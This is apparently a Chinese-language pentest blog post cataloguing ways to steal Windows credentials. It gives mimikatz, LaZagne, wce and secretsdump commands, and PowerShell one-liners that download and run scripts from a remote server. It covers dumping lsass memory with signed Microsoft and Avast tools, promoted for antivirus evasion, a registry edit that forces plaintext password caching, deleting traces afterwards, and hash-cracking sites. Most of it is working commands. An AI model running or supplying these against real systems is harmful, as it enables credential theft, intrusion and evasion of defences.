前言
最近在看ms08067出版的《內(nèi)網(wǎng)滲透測試基礎(chǔ)》,總結(jié)的還是挺好的。這里把windows抓取hash的一些方式進行重新總結(jié)。
windows 密碼
windows hash由二部分組成,分別是LM HASH和NTLM HASH,這是對同一個密碼的兩種不同的加密方式。username:RID:LM-HASH值:NTLM-HASH值
NTLM Hash的組成如下:
NTLM-Hash的生成方法為:
1.將明文口令轉(zhuǎn)換成十六進制的格式
2.轉(zhuǎn)換成Unicode格式,即在每個字節(jié)之后添加0x00
3.對Unicode字符串作MD4加密,生成32位的十六進制數(shù)字串
例如賬戶密碼為cseroad@2008
十六進制為 637365726f61644032303038
Unicode字符串為 63007300650072006f006100640040003200300030003800
NTLM-Hash為 82c58d8cec50de01fd109613369c158e

LM-Hash(LAN Manager Hash)是微軟的一種散列加密算法,本質(zhì)為DES加密,具體原理參考LM-Hash && NTLM-Hash。當(dāng)LM Hash是AAD3B435B51404EEAAD3B435B51404EE 這表示空密碼或者是未使用LM_HASH。這里不做過多解釋,因為從Windows Server 2008版本開始,系統(tǒng)禁用了LM hash。
獲取hash的工具
原理:lsass.exe進程用于實現(xiàn)windows安全策略(本地安全策略和登錄策略)??梢允褂霉ぞ邔⑸⒘兄岛兔魑拿艽a從內(nèi)存的lsass.exe進程或者SAM文件中導(dǎo)出。SAM文件保存在C:\Windows\System32\config目錄下,該文件被鎖定,不允許復(fù)制。
以下工具都以管理員身份運行
QuarksPwDump工具
該工具支持Windows XP/2003/Vista/7/2008版本,且相當(dāng)穩(wěn)定??梢宰トindows平臺下多種類型的用戶憑據(jù),包括:本地帳戶、域帳戶、緩存的域帳戶。
下載地址:https://codeload.github.com/quarkslab/quarkspwdump/zip/master
完整源代碼可以從https://github.com/quarkslab/quarkspwdump獲取
Quarkspwdump.exe --dump-hash-local 導(dǎo)出用戶的NTLM Hash

LaZagne工具
LaZagne是一款用于檢索大量存儲在本地計算機密碼的開源應(yīng)用程序。該工具不僅能抓取windows密碼,還可以抓取瀏覽器中的緩存的密碼、SVN密碼、wifi密碼、郵箱密碼等功能,適用于windows、Linux、MAC
下載地址 https://github.com/AlessandroZ/LaZagne
運行命令
LaZagne.exe all

getpass.exe工具
該工具由閃電小子根據(jù)mimikatz編譯,可以直接獲取明文密碼。直接運行g(shù)etpass.exe即可。

Pwdump7.exe工具
拷貝libeay32.dll和Pwdump7.exe在同一目錄下
直接運行Pwdump7.txt即可

wce工具
該工具分為32位、64位。它可以列舉登陸會話,并且可以添加、改變和刪除相關(guān)憑據(jù)。
命令為
wce.exe -w 讀取系統(tǒng)明文密碼

wme.exe -l 獲取hash

powershell 腳本
Get-PassHashes.ps1腳本
cmd直接運行命令
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Get-PassHashes.ps1');Get-PassHashes

Get-PassHashes.ps1 腳本
cmd直接運行命令
powershell iex (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/nishang/Gather/Get-PassHashes.ps1');Get-PassHashes

Invoke-Mimikatz.ps1 腳本
依然使用的mimikatz讀取密碼
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
Out-Minidump.ps1 腳本
獲取lsass.exe的dumps
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"

再用mimikatz從dumps中獲取明文。
mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit
mimikatz工具
可用來抓取hash以及明文。
命令為
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"

當(dāng)系統(tǒng)為win10或2012R2以上時,默認在內(nèi)存緩存中禁止保存明文密碼。此時可以通過修改注冊表的方式抓取明文,但需要用戶重新登錄后才能成功抓取。
修改注冊表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
重啟后可抓取hash
SAM表獲取hash
導(dǎo)出導(dǎo)出SAM和System文件
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
將注冊表的SAM、System文件導(dǎo)出到本地磁盤。
使用mimikatz讀取SAM和System文件??色@取NTLM Hash
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit

也可以使用secretsdump_windows.exe 導(dǎo)出hash。
命令如下:
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv
secretsdump_windows.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
del *.hiv secretsdump_windows.exe /F
metaploit 框架
在得到session的基礎(chǔ)上,嘗試抓取hash值。
metasploit支持多種hash獲取。
1.hashdump命令
在system權(quán)限下,可抓取hash

- windows/gather/smart_hashdump 腳本
可以獲取域內(nèi)的用戶 hash
run windows/gather/smart_hashdump

并將所有hash導(dǎo)出到/root/.msf4/loot/20200218155855_default_10.211.55.16_windows.hashes_396577.txt
- load mimikatz 命令
使用mimikatz
load mimikatz 加載mimikatz模塊
msv 獲取hash
kerberos 獲取明文
ssp 獲取明文信息
tspkg 嘗試檢索tspkg憑據(jù)
wdigest 嘗試檢索wdigest憑據(jù)
mimikatz_command -f samdump::hashes 獲取hash
mimikatz_command -f sekurlsa::searchPasswords 獲取明文密碼


cobalt strike框架

Dump Hashes #獲取hash
Run Mimikatz #運行 Mimikatz
在beacon在執(zhí)行的命令對應(yīng)
hashdump 獲取hash值
logonpasswords 相當(dāng)于mimikatz_command -f sekurlsa::searchPasswords

Empire框架
Empire也是內(nèi)置了mimikatz來讀取hash。
免殺
prodump.exe工具
該工具是微軟出品的工具,具有一定免殺效果。
可以利用procdump把lsass進程的內(nèi)存文件導(dǎo)出本地,再在本地利用mimikatz讀取密碼。
procdump.exe -accepteula -ma lsass.exe lsass.dmp 導(dǎo)出lsass.dmp
再使用mimikatz讀取密碼
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
需要注意的是從目標機器導(dǎo)出的lsass.dmp需要在相同系統(tǒng)下運行。

SqlDumper.exe工具
該工具也是微軟出品,也具備一定免殺能力。
SqlDumper.exe默認存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
如果目標機器沒有安裝SQL Server,自己上傳SqlDumper.exe
tasklist /svc | findstr lsass.exe 查看lsass.exe 的ProcessID
Sqldumper.exe ProcessID 0 0x01100 導(dǎo)出dump文件
mimikatz加載mdump文件
mimikatz.exe "sekurlsa::minidump SQLDmpr0002.mdmp" "sekurlsa::logonPasswords full" exit

SharpDump工具
Out-Minidump.ps1 腳本C#版本編譯后的結(jié)果。

把lsass.exe進程數(shù)據(jù)導(dǎo)出來
dump的文件的后綴名為bin,拖到本地機器上后,先重命名為 zip,然后再解壓
并使用本地的mimikatz進行讀取。
mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"

AvDump工具
Avdump.exe 是Avast Home Security 產(chǎn)品套件一起提供的小工具。顧名思義,該實用程序?qū)⒔o定進程標識符的內(nèi)存轉(zhuǎn)儲到用戶指定的位置。我們可以通過它進行新的 dump 方式利用。
自帶 Avast 殺軟公司白簽名。
從https://www.pconlife.com/viewfileinfo/avdump-exe/ 下載該程序。
需要在powershell環(huán)境下運行該程序,測試cmd環(huán)境下無法導(dǎo)出:
.\AvDump.exe --pid 516 --exception_ptr 0 --dump_level 1 --thread_id 0 --min_interval 0 --dump_file c:\test\lsass.dmp

再通過mimikatz獲取密碼。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

goHashDumper
利用靜默退出機制(SilentProcessExit)和Windows API(MiniDumpW) 實現(xiàn)dump 內(nèi)存
下載地址: https://github.com/crisprss/goHashDumper
破解hash
在線破解hash網(wǎng)站
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php
參考資源
抓Windows密碼的幾種方式
一個dumpWindows系統(tǒng)lsass.exe進程的工具
教你多姿勢抓取Windows明文或Hash,快收藏!